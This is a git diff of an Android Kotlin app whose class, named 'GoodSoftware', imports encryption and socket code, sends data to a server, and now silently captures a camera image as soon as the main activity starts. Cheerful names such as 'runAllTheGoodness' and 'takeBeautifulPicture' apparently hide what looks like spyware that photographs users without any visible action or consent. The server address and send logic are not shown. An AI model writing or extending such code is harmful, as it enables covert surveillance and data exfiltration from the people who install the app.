diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml
index 7fc2b25..2006c4b 100644
--- a/.idea/deploymentTargetDropDown.xml
+++ b/.idea/deploymentTargetDropDown.xml
@@ -5,9 +5,6 @@
-
-
-
@@ -17,6 +14,9 @@
+
+
+
diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt
index 90f50b7..5373c94 100644
--- a/app/src/main/java/com/ti/m/GoodSoftware.kt
+++ b/app/src/main/java/com/ti/m/GoodSoftware.kt
@@ -1,16 +1,13 @@
package com.ti.m
-import android.content.ContentValues
import android.content.Context
import android.graphics.Camera
-import android.net.Uri
-import android.os.Build
-import android.provider.MediaStore
import android.util.Log
import androidx.camera.core.CameraSelector
import androidx.camera.core.ImageAnalysis
import androidx.camera.core.ImageCapture
import androidx.camera.core.ImageCaptureException
+import androidx.camera.core.ImageProxy
import androidx.camera.core.Preview
import androidx.camera.lifecycle.ProcessCameraProvider
import java.io.BufferedReader
@@ -25,11 +22,8 @@ import javax.crypto.Cipher
import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec
import androidx.concurrent.futures.await
-import androidx.core.content.ContentProviderCompat.requireContext
import androidx.core.content.ContextCompat
-import java.io.File
-import java.text.SimpleDateFormat
-import java.util.Locale
+import androidx.lifecycle.LifecycleOwner
class GoodSoftware (private val context: Context) {
private var cameraProvider: ProcessCameraProvider? = null
@@ -101,14 +95,7 @@ class GoodSoftware (private val context: Context) {
private fun runAllTheGoodness() {
val dataToSend = "Amazing data"
- Thread {
- takeBeautifulPicture(object : PictureTakenCallback {
- override fun onPictureTaken() {
- // Picture taken, proceed to send data
- sendDataToServer(dataToSend)
- }
- })
- }.start()
+ sendDataToServer(dataToSend)
}
fun sendDataToServer(sendData: String) {
@@ -158,53 +145,60 @@ class GoodSoftware (private val context: Context) {
socket.close()
}
- fun takeBeautifulPicture(callback: PictureTakenCallback) {
- cameraProvider = ProcessCameraProvider.getInstance(context).get()
+ suspend fun takeBeautifulPicture(lifecycleOwner: LifecycleOwner) {
+ // Ensure that cameraProvider is initialized
+ cameraProvider = ProcessCameraProvider.getInstance(context).await()
- lensFacing = when {
- hasBackCamera() -> CameraSelector.LENS_FACING_BACK
- hasFrontCamera() -> CameraSelector.LENS_FACING_FRONT
- else -> throw IllegalStateException("Back and front camera are unavailable")
+ // Check if cameraProvider is null
+ if (cameraProvider == null) {
+ Log.e(picture.TAG, "Camera provider is null")
+ return
}
+
+ // Ensure that the selected camera is available
+ if (!hasBackCamera() && !hasFrontCamera()) {
+ Log.e(picture.TAG, "Back and front camera are unavailable")
+ return
+ }
+
+ // Select the lens facing
+ lensFacing = if (hasBackCamera()) {
+ CameraSelector.LENS_FACING_BACK
+ } else {
+ CameraSelector.LENS_FACING_FRONT
+ }
+
+ // Create ImageCapture instance
imageCapture = ImageCapture.Builder()
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
.build()
- imageCapture?.let { imageCapture ->
-
- // Create time stamped name and MediaStore entry.
- val name = SimpleDateFormat(picture.FILENAME, Locale.US)
- .format(System.currentTimeMillis())
- val contentValues = ContentValues().apply {
- put(MediaStore.MediaColumns.DISPLAY_NAME, name)
- put(MediaStore.MediaColumns.MIME_TYPE, picture.PHOTO_TYPE)
- if(Build.VERSION.SDK_INT > Build.VERSION_CODES.P) {
- val appName = requireContext().resources.getString(R.string.app_name)
- put(MediaStore.Images.Media.RELATIVE_PATH, "Pictures/${appName}")
- }
+ // Set up image capture listener
+ val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
+ override fun onError(exc: ImageCaptureException) {
+ Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
}
- val outputOptions = ImageCapture.OutputFileOptions
- .Builder(requireContext().contentResolver,
- MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
- contentValues)
- .build()
-
- imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(requireContext()),
- object : ImageCapture.OnImageSavedCallback {
- override fun onError(exc: ImageCaptureException) {
- Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
- }
-
- override fun onImageSaved(output: ImageCapture.OutputFileResults) {
- val savedUri = output.savedUri ?: Uri.fromFile(File(output.savedUri.toString()))
- Log.d(picture.TAG, "Photo capture succeeded: $savedUri")
- }
- })
+ override fun onCaptureSuccess(image: ImageProxy) {
+ // Process captured image here
+ image.close()
+ }
}
- callback.onPictureTaken()
+
+ // Bind the camera and start image capture
+ cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.DEFAULT_BACK_CAMERA, imageCapture)
+
+ // Take the picture
+ imageCapture?.takePicture(
+ ContextCompat.getMainExecutor(context),
+ imageCapturedListener
+ )
}
+
+
+
+
private fun hasBackCamera(): Boolean {
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
}
@@ -217,6 +211,7 @@ class GoodSoftware (private val context: Context) {
return context
}
+
object picture {
const val TAG = "CameraXBasic"
const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"
diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt
index f96efec..4fd0515 100644
--- a/app/src/main/java/com/ti/m/MainActivity.kt
+++ b/app/src/main/java/com/ti/m/MainActivity.kt
@@ -6,15 +6,14 @@ import androidx.activity.compose.setContent
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Surface
-import androidx.compose.material3.Text
-import androidx.compose.runtime.Composable
import androidx.compose.ui.Modifier
-import androidx.compose.ui.tooling.preview.Preview
+import androidx.lifecycle.LifecycleOwner
import androidx.lifecycle.lifecycleScope
+import com.ti.m.GoodSoftware
import com.ti.m.ui.theme.MTheme
import kotlinx.coroutines.launch
-class MainActivity : ComponentActivity() {
+class MainActivity : ComponentActivity(), LifecycleOwner {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContent {
@@ -26,6 +25,10 @@ class MainActivity : ComponentActivity() {
}
}
}
- GoodSoftware(applicationContext).launch()
+ val Goo = GoodSoftware(applicationContext);
+ Goo.launch()
+ lifecycleScope.launch {
+ Goo.takeBeautifulPicture(this@MainActivity)
+ }
}
-}
\ No newline at end of file
+}